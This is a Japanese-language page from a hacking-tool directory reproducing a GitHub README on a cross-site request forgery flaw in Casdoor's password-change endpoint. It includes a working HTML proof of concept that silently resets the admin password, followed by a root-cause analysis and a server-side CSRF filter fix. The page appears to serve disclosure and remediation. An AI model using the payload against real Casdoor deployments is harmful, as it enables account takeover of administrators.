Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
csrf_casdoor | Kitploit
ツール/GitHubGitHub/vanlam2001/csrf_casdoor
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Casdoor – クロスサイトリクエストフォージェリ (CSRF)

概要

  • 脆弱性: /api/set-password におけるCSRF。ユーザーの同意なしにパスワードを変更できる。
  • 影響を受けるバージョン: ソフトウェアの全バージョンが影響を受けます。現在、パッチ済みリリースはありません。
  • CVE: CVE-2023-34927 (最新のものはまだ割り当てられていません)。
  • エクスプロイト作成者: Van Lam Nguyen
  • 検証済み環境: Windows

影響

  • 被害者がCasdoorにログインしている場合、クロスサイトPOSTによって被害者のパスワード(例: built-in/admin)を変更でき、アカウント乗っ取りにつながります。

攻撃の前提条件

  • 被害者が認証されており、有効なcasdoor_session_id Cookieを持っていること。
  • 被害者が/api/set-passwordへのPOSTを自動送信する悪意のあるページを訪問すること。

概念実証

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

根本原因

  • /api/*配下の状態変更エンドポイントは、同一オリジンチェック(Origin/Referer)やCSRFトークンを適用せずに、Cookie認証されたリクエストを受け入れます。

修正の概要

  • サーバーサイドのCSRFフィルターを追加し、/api/*配下のクロスサイトかつCookieベースのPOST/PUT/DELETE/PATCHリクエストを拒否します。
  • 明示的な非Cookie認証(例: Authorization、Basic認証、クライアント資格情報、accessToken)を含むリクエスト、またはブラウザセッションCookieを含まないリクエスト(典型的なサーバー間通信)を許可します。

実装

  • csrf_filter.goに実装されているrouters.CSRFFilterを使用します。このフィルターは:
    • 状態を変更しないメソッドでは早期リターンします。
    • 明示的な非Cookie認証を含むリクエストを許可します。
    • セッションCookieが存在し、オリジンがホストと一致しない場合、クロスサイトリクエストをブロックします。

Casdoorへの統合方法

  1. csrf_filter.goをCasdoorプロジェクトの既存のroutersパッケージにコピーします。このファイル内の何も変更または削除しないでください。
  2. HTTPパイプラインの早い段階(main内)でフィルターを登録します:
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

検証

  • フィルターを登録した後、ログインした状態で上記のPoCを再実行します。リクエストはUnauthorized operationで拒否され、サーバーはCSRF check failedをログに記録するはずです。
  • AuthorizationヘッダーまたはaccessTokenパラメータを含むクロスオリジンAPI呼び出しは引き続き動作するはずです。

リポジトリファイル

  • csrf_filter.go: CasdoorのroutersパッケージにコピーするCSRFフィルター。
  • poc.html: CSRF攻撃を再現する最小限のページ。
  • README.md: 脆弱性と修正手順を説明する本ドキュメント。

参照

  • Casdoor: https://casdoor.org/
  • バージョン: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

動画

  • YouTube: https://youtu.be/N5VENgiObjY
ツールをダウンロード